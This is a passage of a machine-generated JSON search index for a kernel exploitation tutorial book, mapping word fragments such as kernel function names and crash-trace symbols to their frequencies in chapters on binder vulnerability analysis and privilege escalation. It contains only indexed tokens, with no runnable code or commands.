}}}}}},"/":{"docs":{},"o":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{"./":{"ref":"./","tf":0.1},"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.01735357917570499},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.008115942028985508},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.017110266159695818},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0028530670470756064},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.005320638476617194},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0625}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"/":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"4":{"6":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"8":{"7":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"9":{"7":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"8":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"/":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"6":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"d":{"docs":{},"/":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"5":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"1":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"p":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347}}}}}}},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"i":{"docs":{},"r":{"docs":{},"=":{"docs":{},"g":{"docs":{},"o":{"docs":{},"l":{"docs":{},"d":{"docs":{},"f":{"docs":{},"i":{"docs":{},"s":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"s":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"y":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"e":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"n":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"n":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}},"n":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{},"t":{"docs":{},"h":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"_":{"docs":{},"z":{"docs":{},"e":{"docs":{},"r":{"docs":{},"o":{"docs":{},"_":{"docs":{},"s":{"docs":{},"h":{"docs":{},"a":{"docs":{},"d":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"s":{"docs":{},"h":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"u":{"docs":{},"t":{"docs":{},"d":{"docs":{},"o":{"docs":{},"w":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"(":{"docs":{},"f":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"(":{"docs":{},"t":{"docs":{},"o":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"+":{"0":{"docs":{},"x":{"1":{"4":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}},"k":{"docs":{},"m":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"+":{"0":{"docs":{},"x":{"9":{"docs":{},"/":{"0":{"docs":{},"x":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}}},"docs":{}}},"docs":{}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{},"+":{"0":{"docs":{},"x":{"2":{"6":{"docs":{},"/":{"0":{"docs":{},"x":{"4":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}},"s":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"docs":{},"e":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}}}}},"docs":{}}}}}}}}}},"y":{"docs":{},"m":{"docs":{},"b":{"docs":{},"o":{"docs":{},"l":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},".":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"y":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0052173913043478265}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"c":{"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"_":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"m":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"g":{"docs":{},"(":{"docs":{},"\"":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"_":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"(":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"j":{"docs":{},"a":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"p":{"docs":{},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"_":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"docs":{},"b":{"docs":{},"d":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"6":{"docs":{},"f":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}}},"docs":{}}}}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"(":{"docs":{},"n":{"docs":{},"r":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{},"s":{"docs":{},"*":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"o":{"docs":{},"f":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347}}}}}}},"r":{"docs":{},"o":{"docs":{},"a":{"docs":{},"h":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"+":{"0":{"docs":{},"x":{"1":{"9":{"3":{"docs":{},"/":{"0":{"docs":{},"x":{"5":{"docs":{},"b":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"(":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}},"z":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"o":{"docs":{},"f":{"docs":{},"(":{"docs":{},"*":{"docs":{},"e":{"docs":{},"p":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"o":{"docs":{},"g":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}}}}}},"o":{"docs":{},"b":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"./":{"ref":"./","tf":0.1},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"v":{"docs":{},"i":{"docs":{},"o":{"docs":{},"u":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"r":{"docs":{},"q":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.00456490727532097},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"(":{"docs":{},"\"":{"docs":{},"/":{"docs":{},"d":{"docs":{},"e":{"docs":{},"v":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0028530670470756064},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004480537664519743}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"?":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"x":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"l":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"r":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"i":{"docs":{},"g":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"_":{"docs":{},"r":{"docs":{},"a":{"docs":{},"x":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},"u":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.005420827389443652},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"/":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"/":{"docs":{},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"/":{"docs":{},"v":{"docs":{},"m":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"l":{"docs":{},"a":{"docs":{},"p":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}},"w":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"'":{"docs":{"chap